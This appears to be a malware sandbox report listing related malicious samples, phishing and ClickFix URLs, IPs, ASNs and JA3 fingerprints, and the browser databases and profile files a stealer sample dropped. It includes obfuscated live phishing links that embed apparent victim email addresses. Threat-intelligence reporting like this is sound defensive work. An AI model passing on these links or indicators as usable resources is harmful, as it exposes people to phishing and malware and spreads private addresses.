	https://vcsfi.kidsavancados.com/	Get hash	malicious	Captcha Phish	Browse	142.250.181.78
	http://prntbl.concejomunicipaldechinu.gov.co	Get hash	malicious	Unknown	Browse	172.217.17.46
t.me	https://connect-velocity-33392.my.salesforce-sites.com/help	Get hash	malicious	Unknown	Browse	104.26.10.50
	yiDQb6GkBq.exe	Get hash	malicious	Amadey, LummaC Stealer, Vidar	Browse	149.154.167.99
	CcIlKT6XdC.exe	Get hash	malicious	Amadey, PureLog Stealer, Stealc, Vidar	Browse	149.154.167.99
	Yn13dTQdcW.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	https://track-004.blogspot.com	Get hash	malicious	Unknown	Browse	50.87.184.136
	Setup.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	Setup.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	Ttok18.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	jtkhikadjthsad.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
chrome.cloudflare-dns.com	33abb.msi	Get hash	malicious	Unknown	Browse	172.64.41.3
	56ff7c.msi	Get hash	malicious	Unknown	Browse	162.159.61.3
	57ff67.msi	Get hash	malicious	Unknown	Browse	162.159.61.3
	setup (2).msi	Get hash	malicious	Unknown	Browse	162.159.61.3
	setup.msi	Get hash	malicious	Unknown	Browse	162.159.61.3
	Non_disclosure_agreement.lnk.download.lnk	Get hash	malicious	Unknown	Browse	172.64.41.3
	Document.lnk.download.lnk	Get hash	malicious	Unknown	Browse	172.64.41.3
	Nieuwebestellingen10122024.exe	Get hash	malicious	FormBook	Browse	172.64.41.3
	751ietQPnX.lnk	Get hash	malicious	RHADAMANTHYS	Browse	162.159.61.3
	l92fYljXWF.lnk	Get hash	malicious	RHADAMANTHYS	Browse	162.159.61.3

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	fWAr4zGUkY.exe	Get hash	malicious	Remcos, Amadey, Stealc	Browse	149.154.167.220
	yiDQb6GkBq.exe	Get hash	malicious	Amadey, LummaC Stealer, Vidar	Browse	149.154.167.99
	Shipping Documents.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	T#U00fcbitak SAGE RfqF#U0334D#U0334P#U0334..exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	https://@%EF%BD%88%EF%BD%94%EF%BD%94%EF%BD%90%EF%BD%93%EF%BC%9A%E2%93%97%E2%93%A3%E2%93%A3%E2%93%9F%E2%93%A2:@%74%72%61%6E%73%6C%61%74%65.google.al/%74%72%61%6E%73%6C%61%74%65?sl=auto&tl=en&hl=en-US&u=https://google.com/amp/%F0%9F%84%B8%F0%9F%84%BF%F0%9F%84%B5%F0%9F%85%82.%E2%93%98%E2%93%9E/%69%70%66%73/%62%61%66%79%62%65%69%64%66%32%67%68%76%35%76%61%6B%65%71%6C%63%71%71%76%7A%66%73%65%74%74%37%75%7A%73%65%71%6D%6D%75%74%6E%75%61%65%73%74%6F%7A%71%69%6F%75%65%66%32%72%71%32%79%23Xamy.lynt@busey.com	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	Message_2712729.eml	Get hash	malicious	unknown	Browse	149.154.167.220
	https://@%EF%BD%88%EF%BD%94%EF%BD%94%EF%BD%90%EF%BD%93%EF%BC%9A%E2%93%97%E2%93%A3%E2%93%A3%E2%93%9F%E2%93%A2:@%74%72%61%6E%73%6C%61%74%65.google.al/%74%72%61%6E%73%6C%61%74%65?sl=auto&tl=en&hl=en-US&u=https://google.com/amp/%F0%9F%84%B8%F0%9F%84%BF%F0%9F%84%B5%F0%9F%85%82.%E2%93%98%E2%93%9E/%69%70%66%73/%62%61%66%79%62%65%69%64%66%32%67%68%76%35%76%61%6B%65%71%6C%63%71%71%76%7A%66%73%65%74%74%37%75%7A%73%65%71%6D%6D%75%74%6E%75%61%65%73%74%6F%7A%71%69%6F%75%65%66%32%72%71%32%79%23XNick.Atkin@Yorkshirehousing.co.uk	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	Bank Swift and SOA PVRN0072700314080353_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
AMAZON-02US	file.exe	Get hash	malicious	Invicta Stealer, XWorm	Browse	45.112.123.126
	jew.arm.elf	Get hash	malicious	Unknown	Browse	52.30.223.81
	7299_output.vbs	Get hash	malicious	Unknown	Browse	3.78.28.71
	7166_output.vbs	Get hash	malicious	AsyncRAT	Browse	18.197.239.5
	phish_alert_sp2_2.0.0.0 (1).eml	Get hash	malicious	Unknown	Browse	52.219.193.160
	2.elf	Get hash	malicious	Unknown	Browse	54.126.45.88
	http://annavirgili.com	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	52.49.166.168
	http://annavirgili.com	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	52.49.166.168
	jew.m68k.elf	Get hash	malicious	Unknown	Browse	99.84.2.249
	http://annavirgili.com	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	34.240.184.84
MICROSOFT-CORP-MSN-AS-BLOCKUS	jew.arm.elf	Get hash	malicious	Unknown	Browse	20.212.205.216
	jew.mpsl.elf	Get hash	malicious	Unknown	Browse	13.68.241.210
	http://stahlrohr.powerappsportals.com	Get hash	malicious	Unknown	Browse	51.116.58.160
	pH6L2VWRbU.dll	Get hash	malicious	Unknown	Browse	20.191.110.180
	pH6L2VWRbU.dll	Get hash	malicious	Unknown	Browse	20.191.110.180
	dkarts.dll.dll	Get hash	malicious	Unknown	Browse	20.191.110.180
	http://annavirgili.com	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	204.79.197.203
	http://annavirgili.com	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	204.79.197.203
	jew.m68k.elf	Get hash	malicious	Unknown	Browse	20.140.122.126
AKAMAI-ASN1EU	33abb.msi	Get hash	malicious	Unknown	Browse	23.219.82.8
	setup.msi	Get hash	malicious	Unknown	Browse	104.126.116.17
	Non_disclosure_agreement.lnk.download.lnk	Get hash	malicious	Unknown	Browse	23.44.133.182
	Document.lnk.download.lnk	Get hash	malicious	Unknown	Browse	23.44.201.5
	phish_alert_iocp_v1.4.48 - 2024-12-11T151927.331.eml	Get hash	malicious	Unknown	Browse	95.101.143.226
	LicEPbnX.txt	Get hash	malicious	Unknown	Browse	2.18.109.164
	[EXTERNAL] Doug Lenon shared _GARY LEIMER INC SIGNED CONTRACT & PAY APPLICATIONS.paper_ with you.eml	Get hash	malicious	Unknown	Browse	104.109.143.151
	phish_alert_sp2_2.0.0.0.eml	Get hash	malicious	Unknown	Browse	2.16.238.137
	https://download-695-18811-018-webdav-logicaldoc.cdn-serveri4731-ns.shop/Documents/Instruction_695-18014-012_Rev.PDF.lnk	Get hash	malicious	Unknown	Browse	23.195.39.65
	Employee_Letter.pdf	Get hash	malicious	HTMLPhisher	Browse	23.195.39.65

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1138de370e523e824bbca92d049a3777	ZzS8KjNjr7.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	23.206.229.226
	PGkSZbFKmI.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	23.206.229.226
	vuxDaHveW5.exe	Get hash	malicious	LummaC	Browse	23.206.229.226
	3jr0P5izLl.exe	Get hash	malicious	LummaC	Browse	23.206.229.226
	https://www.amberdrinks.lt/	Get hash	malicious	Unknown	Browse	23.206.229.226
	7H1FDG3DI1.exe	Get hash	malicious	RedLine, SectopRAT	Browse	23.206.229.226
	Agreement ATT Confidential -16_08_52-{DATE).docx	Get hash	malicious	Unknown	Browse	23.206.229.226
	xeroxscan.Docx	Get hash	malicious	Unknown	Browse	23.206.229.226
	https://lft.orange.fr/download/SxnevgHPxJ	Get hash	malicious	Unknown	Browse	23.206.229.226
	XrQ8NgQHTn.exe	Get hash	malicious	LummaC Stealer	Browse	23.206.229.226
37f463bf4616ecd445d4a1937da06e19	yiDQb6GkBq.exe	Get hash	malicious	Amadey, LummaC Stealer, Vidar	Browse	116.203.10.31 149.154.167.99
	jN6irWtNiG.lnk	Get hash	malicious	Unknown	Browse	116.203.10.31 149.154.167.99
	yOmgCWM83b.lnk	Get hash	malicious	Unknown	Browse	116.203.10.31 149.154.167.99
	copia111224mp.hta	Get hash	malicious	Unknown	Browse	116.203.10.31 149.154.167.99
	Agreement for Cooperation.PDF.lnk.download.lnk	Get hash	malicious	RedLine	Browse	116.203.10.31 149.154.167.99
	Agreement for YouTube cooperation.pdf.lnk.download.lnk	Get hash	malicious	Unknown	Browse	116.203.10.31 149.154.167.99
	Strait STS.vbs	Get hash	malicious	Remcos, GuLoader	Browse	116.203.10.31 149.154.167.99
	c2.hta	Get hash	malicious	XWorm	Browse	116.203.10.31 149.154.167.99
	peks66Iy06.exe	Get hash	malicious	Unknown	Browse	116.203.10.31 149.154.167.99
	XXHYneydvF.exe	Get hash	malicious	Unknown	Browse	116.203.10.31 149.154.167.99

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\RIWBA168GLNY\5F3EKF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\RIWBA168GLNY\900ZM7Y5X

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\RIWBA168GLNY\D2NY5P

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.5407252242845243
Encrypted:	false
SSDEEP:	96:OgWyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kE:OJhH+bDo3iN0Z2TVJkXBBE3yb
MD5:	7B955D976803304F2C0505431A0CF1CF
SHA1:	E29070081B18DA0EF9D98D4389091962E3D37216
SHA-256:	987FB9BFC2A84C4C605DCB339D4935B52A969B24E70D6DEAC8946BA9A2B432DC
SHA-512:	CE2F1709F39683BE4131125BED409103F5EDF1DED545649B186845817C0D69E3D0B832B236F7C4FC09AB7F7BB88E7C9F1E4F7047D1AF56D429752D4D8CBED47A
Malicious:	false
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\RIWBA168GLNY\F3OZCT

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 32768, file counter 2, database pages 9, cookie 0x6, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	294912
Entropy (8bit):	0.08432026317203951
Encrypted:	false
SSDEEP:	192:5va0zkVmvQhyn+Zoz679fqlQbGhMHPaVAL23vD:51zkVmvQhyn+Zoz67+
MD5:	C444D5B9503F9CCFA9750AB3D51848E9
SHA1:	FFF755261E04C7502AF2F172DE3752D9458100FE
SHA-256:	66EA7282C9A15E75F5F52CB5D745FD1B4830045EB70D99AB4F07744A67E0879E
SHA-512:	E22CC4F41EC10146718E2767B68DCB20CF02AEC55DA8686988A16350045D6A31B9CDF16B7329EE436E9DBF1795699809819FEC2E7D9D460B046FAEC65BC48334
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......z<.{...{.{a{.z.z<z.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\RIWBA168GLNY\MOP8GV

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1373607036346451
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c9G/k4:MnlyfnGtxnfVuSVumEHUM4
MD5:	64BCCF32ED2142E76D142DF7AAC75730
SHA1:	30AB1540F7909BEE86C0542B2EBD24FB73E5D629
SHA-256:	B274913369030CD83E1C76E8D486F501E349D067824C6A519F2DAB378AD0CC09
SHA-512:	0C2B4FC0D38F97C8411E1541AB15B78C57FEA370F02C17F8CB26101A936F19E636B02AF1DF2A62C8EAEE6B785FE17879E2723D8618C9C3C8BD11EB943BA7AB31
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\RIWBA168GLNY\OPHDT0

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.5394293526345721
Encrypted:	false
SSDEEP:	96:AquejzH+bF+UIYysX0IxQzh/tsV0NifLjLqLy0e9S8E:AqtH+bF+UI3iN0RSV0k3qLyj9
MD5:	52701A76A821CDDBC23FB25C3FCA4968
SHA1:	440D4B5A38AF50711C5E6C6BE22D80BC17BF32DE
SHA-256:	D602B4D0B3EB9B51535F6EBA33709DCB881237FA95C5072CB39CECF0E06A0AC4
SHA-512:	2653C8DB9C20207FA7006BC9C63142B7C356FB9DC97F9184D60C75D987DC0848A8159C239E83E2FC9D45C522FEAE8D273CDCD31183DED91B8B587596183FC000
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\RIWBA168GLNY\Q9RQQQ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 9, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 9
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2650077694728943
Encrypted:	false
SSDEEP:	384:KrJ/2qOB1nxCkMOSAELyKOMq+8QTQKC+CVumC:K0q+n0JO9ELyKOMq+8Q7l
MD5:	8264F878CD21693CE2C214EE17E5ED6D
SHA1:	AF1090FFF86615F667B9B17400F5D0CD14BC1924
SHA-256:	85BEAE1DD1AE2EDB812646258004E90B21DDBD94C0853A7F4DF5A19B3C444440
SHA-512:	97A3B294EA83907715FBD5A3AA79F00937D1FE8A422F9BBEB9886EF3BB48445D14F2ECAAF3C10AC19997FA2FB3171384EC8BA89E234DEA3C34FB00A4338CFBE5
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\RIWBA168GLNY\RQ1VK6

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1765), with CRLF line terminators
Category:	dropped
Size (bytes):	9976
Entropy (8bit):	5.499944288613473
Encrypted:	false
SSDEEP:	192:NzKneRdpYbBp6znmUzaX/6aRMKWPzDNBw8DK9mSl:Nz5eUmUtgmrwbw0
MD5:	42594FD09C4DF3B174CF5D59B1CAB13A
SHA1:	1B78FEB748C36A592C468A76BB60E98187D7BE4A
SHA-256:	F8B55E3B04E0A59BB745C43763D8FBC1CFFDBC247B5525A489B4B74A57319393
SHA-512:	E2430AB14ADF2EF1CC2CB1F96DEADAFB3598B803A5E7724FDDB68ACF015D7E052291626A3D100FED902731DBFD10A9AE3387581AD2867F64D0B27E8D51B9069F
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "38829aa4-f57e-4fd8-bfd3-d094d57ae30f");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696493966);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696493970);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\2c9029d1-02fa-4d2e-be51-6c84c1744e23.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.090529861035149
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4keCLmZt9tR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7yn4tGhOxqQoRTuiVIos
MD5:	DEBD70510F0DFA0305812DAC1D24A78C
SHA1:	D3B7479CEB71156BB87E3893ACBEA637AD954CFA
SHA-256:	AFD00D759833ECB217CE738F94CE8AABB447E61667EDE655A9C991EEA492157B
SHA-512:	E8D7B29AF12F04881AD2A5981057E696A03529D3B17B582213FB665090FEB164CE7BD80B29D857618314593337B48C659A08CBFCB168964565A97FF35BAA337C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\306837e0-07e8-4d95-9ccb-cf2346f1ccf7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46145
Entropy (8bit):	6.087795405372178
Encrypted:	false
SSDEEP:	768:eMkbJrT8IeQc5uKwwLmZcedePyJfFohPXFYNxoZ20+YC1oNwWE7RTupzKscDX//7:eMk1rT8H2K5ede3YNGU0nIoNoRTui7
MD5:	D78CDF0E5F5B8B1A25D661ED26E0FCAF
SHA1:	CC8D4B9F6220882BFFF96E1E54838A4B26188401
SHA-256:	EB5252C752F829CA8CC45763F046E15D81D35A4818486043C37D90719405964A
SHA-512:	231C39211211D109495B40176B0DFCC6959D56FFA82A5B5B2FB2B5B76836031B0C08ADA1BD2DDE150E17D5D1BC632AA22B82F8419ED54CFA42B09BDC3B6A2F92
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"6719dbe1-0bd6-4e4c-b007-c4ce39085adf"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1734018423"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMs

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\4517149b-0d78-48ba-a915-91f3ea53e8bb.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46145
Entropy (8bit):	6.087796359274964
Encrypted:	false
SSDEEP:	768:eMkbJrT8IeQc5uXwwLmZcedePyJfFohPXFYNxoZ20+YC1oNwWE7RTupzKscDX//7:eMk1rT8H2X5ede3YNGU0nIoNoRTui7
MD5:	89E07E4A9C1822BA03F2CAD5A1D80143
SHA1:	DC302C472029A571BCC614F0E529DB788A6C97A9
SHA-256:	8E578C43A7F61C12897DAF6EFFC43CE18E6C1FB520BACB2F11D81325EFB1DCED
SHA-512:	4C52FCB9863A47E7D519CACED78CD7ADAA60EECC7D700F306F858C67D9331D03D8C13E44D7D70E547BB897043646C30606E3BDCC70C2CF7A3417CBA4DE0AE6A8
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"6719dbe1-0bd6-4e4c-b007-c4ce39085adf"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1734018423"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMs

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\8f89641b-7328-4dd3-8330-dcd53cd87ca8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46068
Entropy (8bit):	6.087842138135876
Encrypted:	false
SSDEEP:	768:eMkbJrT8IeQc5dXwwLmZcedexyJfFohPXFYNxoZ20+YC1oNwWE7RTupzKscDX//7:eMk1rT8H1X5edetYNGU0nIoNoRTui7
MD5:	F66A5FF5FBB9BE9F8FFB25B302E8BA1A
SHA1:	B6CED101EEBCC2CD5FBE9292738ABFF3484DEDD6
SHA-256:	7281B849F46B2943688CA2BF9EC668B7DFF5F639A60BB7EF1E3DEA0436E92F88
SHA-512:	F7E58A427C71E35B11AEDEC05A6920486561E7929CFF97F120F111C5ACE5F5485CBCF9C2E9672A527922E13769EABB7E33C6F0C7513368DDB5044FF885C514F4
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"6719dbe1-0bd6-4e4c-b007-c4ce39085adf"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1734018423"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMs

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\06ece2bf-db82-42e5-b7b4-f4ebe0a41ec4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640132669903667
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7+:fwUQC5VwBIiElEd2K57P7+
